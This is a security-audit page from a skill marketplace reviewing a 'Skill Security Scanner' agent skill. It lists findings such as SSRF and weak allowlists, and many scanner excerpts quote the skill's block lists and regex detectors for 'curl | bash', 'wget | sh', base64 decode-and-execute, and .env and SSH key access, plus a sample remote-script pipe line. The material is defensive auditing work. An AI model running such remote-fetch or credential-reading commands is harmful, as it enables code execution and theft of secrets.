ClawHub
Back to skill

Security audit

Skill Security Scanner

Security checks for vulnerabilities and agentic risk

Overview

This is a coherent security-scanner skill, but it needs review because its scanner fetches arbitrary URLs and can make incomplete or misleading safety decisions.

Review before installing or relying on this as a security gate. It does not appear malicious, but run it only on URLs and directories you intend to expose to the scanner, avoid scanning arbitrary untrusted links from sensitive networks, and treat a 'safe' result as a limited pattern check rather than proof that a skill is safe.

A.I.G

Vulnerability Patterns
  • Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (5)

T05 · Unauthorized Access and Privilege Escalation

Error
Location
scripts/scanner.py:207
Finding

Unrestricted Remote URL Fetching Enables Server-Side Request Forgery

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/scanner.py:68
Finding

Substring-Based Allowlists Let Hostile URLs and Packages Appear Trusted

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/scanner.py:121
Finding

Restricted Extension List Allows Malicious Skill Files to Evade Scanning

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/scanner.py:159
Finding

Unbounded Remote Downloads and ZIP Extraction Permit Resource Exhaustion

Content
View full analysis
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
examples/pre-commit-hook.sh:20
Finding

Whitespace-Based Git Filename Processing Allows Pre-Commit Scan Bypass

Content
View full analysis
Remediation
View remediation

SkillSpector

Vulnerability Patterns
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (20)

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 145)May include surrounding context.

md
### 🔴 CRITICAL — Blocks Install

- `curl | bash` — Remote code execution
- `wget | sh` — Remote code execution  
- Base64/hex decode + execute — Obfuscated malware
- `xattr -d com.apple.quarantine` — Disabling macOS Gatekeeper

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · README.md (reported line 146)May include surrounding context.

md
### 🔴 CRITICAL — Blocks Install

- `curl | bash` — Remote code execution
- `wget | sh` — Remote code execution  
- Base64/hex decode + execute — Obfuscated malware
- `xattr -d com.apple.quarantine` — Disabling macOS Gatekeeper

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · README.md (reported line 279)May include surrounding context.

md
🔴 twitter-helper@1.2.0
   Reported: 2026-02-05
   Issue: Downloads and executes remote binary
   Action: Remove immediately with `rm -rf skills/twitter-helper`
   
🟠 data-scraper@0.5.0
   Warning: Uses deprecated dependency with known CVE

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 32)May include surrounding context.

md
| Pattern | Risk | Why It's Dangerous |
|---------|------|-------------------|
| `curl \| bash` | 🔴 CRITICAL | Executes remote code directly |
| `wget` + execute | 🔴 CRITICAL | Downloads and runs binaries |
| Base64/hex decode + exec | 🔴 CRITICAL | Obfuscated malware |
| `npm install <unknown>` | 🟡 HIGH | Could install malicious packages |

External Script Fetching

High
Category
Supply Chain
Confidence
90% confidence
Finding

Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.

Content

Scanner excerpt · SKILL.md (reported line 55)May include surrounding context.

md
📋 Findings:

  🔴 CRITICAL (1)
  ├─ Line 23: curl -s https://xyz.example.com/setup.sh | bash
  └─ Executes remote script without verification

  🟡 HIGH (2)

Chaining Abuse

High
Category
Tool Misuse
Confidence
70% confidence
Finding

Tool calls are chained to bypass individual safety checks or escalate capabilities beyond what any single tool call would allow.

Content

Scanner excerpt · SKILL.md (reported line 55)May include surrounding context.

md
📋 Findings:

  🔴 CRITICAL (1)
  ├─ Line 23: curl -s https://xyz.example.com/setup.sh | bash
  └─ Executes remote script without verification

  🟡 HIGH (2)

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 87)May include surrounding context.

md
1. **Install unknown dependencies** — "npm install xyz", "pip install abc"
2. **Run curl/wget commands** — Especially if piped to bash/sh
3. **Execute downloaded scripts** — "chmod +x && ./"
4. **Access credentials** — .env files, API keys, SSH keys
5. **Use sudo** — Elevated privileges

STOP. Do not proceed. Ask the human to review manually.

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · examples/agents-policy.md (reported line 34)May include surrounding context.

md
1. **Install unknown dependencies** — "npm install xyz", "pip install abc"
2. **Run curl/wget commands** — Especially if piped to bash/sh
3. **Execute downloaded scripts** — "chmod +x && ./"
4. **Access credentials** — .env files, API keys, SSH keys
5. **Use sudo** — Elevated privileges

STOP. Do not proceed. Ask the human to review manually.

Tool Parameter Abuse

High
Category
Tool Misuse
Confidence
85% confidence
Finding

Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).

Content

Scanner excerpt · examples/pre-commit-hook.sh (reported line 52)May include surrounding context.

sh
echo
    echo "Review the findings above and fix the issues before committing."
    echo "If you believe these are false positives, you can bypass with:"
    echo "  git commit --no-verify"
    echo
    exit 1
elif [ $MAX_RISK -eq 1 ]; then

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · patterns/low.json (reported line 5)May include surrounding context.

json
"patterns": [
    {
      "name": "env_file_access",
      "pattern": "\\.env",
      "description": "References .env file (could access credentials)"
    },
    {

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · README.md (reported line 87)May include surrounding context.

md
{
      "name": "env_file_access",
      "pattern": "\\.env",
      "description": "References .env file (could access credentials)"
    },
    {
      "name": "ssh_key_access",

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · SKILL.md (reported line 102)May include surrounding context.

md
{
      "name": "env_file_access",
      "pattern": "\\.env",
      "description": "References .env file (could access credentials)"
    },
    {
      "name": "ssh_key_access",

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · examples/agents-policy.md (reported line 34)May include surrounding context.

md
{
      "name": "env_file_access",
      "pattern": "\\.env",
      "description": "References .env file (could access credentials)"
    },
    {
      "name": "ssh_key_access",

Credential Access

High
Category
Privilege Escalation
Confidence
60% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · patterns/low.json (reported line 6)May include surrounding context.

json
{
      "name": "env_file_access",
      "pattern": "\\.env",
      "description": "References .env file (could access credentials)"
    },
    {
      "name": "ssh_key_access",

Credential Access

High
Category
Privilege Escalation
Confidence
70% confidence
Finding

Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Content

Scanner excerpt · patterns/low.json (reported line 6)May include surrounding context.

json
{
      "name": "env_file_access",
      "pattern": "\\.env",
      "description": "References .env file (could access credentials)"
    },
    {
      "name": "ssh_key_access",

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
96% confidence
Finding

The skill advertises operational commands that read files, access the network, and invoke shell commands, but it does not declare any explicit tool scope such as permissions or allowed-tools. Even though this file is documentation for a scanner, the missing scope makes the skill harder to sandbox and review, and could allow broader execution than a user expects.

Content

No source excerpt is available for this finding.

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · SKILL.md (reported line 56)May include surrounding context.

md
{
      "name": "curl_pipe_bash",
      "pattern": "curl\\s+[^|]*\\|\\s*(ba)?sh",
      "description": "Executes remote script directly without verification"
    },
    {
      "name": "wget_pipe_bash",

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · patterns/critical.json (reported line 6)May include surrounding context.

json
{
      "name": "curl_pipe_bash",
      "pattern": "curl\\s+[^|]*\\|\\s*(ba)?sh",
      "description": "Executes remote script directly without verification"
    },
    {
      "name": "wget_pipe_bash",

Autonomous Decision Making

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.

Content

Scanner excerpt · patterns/critical.json (reported line 11)May include surrounding context.

json
{
      "name": "curl_pipe_bash",
      "pattern": "curl\\s+[^|]*\\|\\s*(ba)?sh",
      "description": "Executes remote script directly without verification"
    },
    {
      "name": "wget_pipe_bash",

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
83% confidence
Finding

This markdown file includes installation commands that create local directories and write files (cp -r and git clone) but does not explicitly warn users that these commands modify their filesystem. Under the markdown criteria for missing user warnings, user-facing instructions that affect system state should disclose that behavior.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.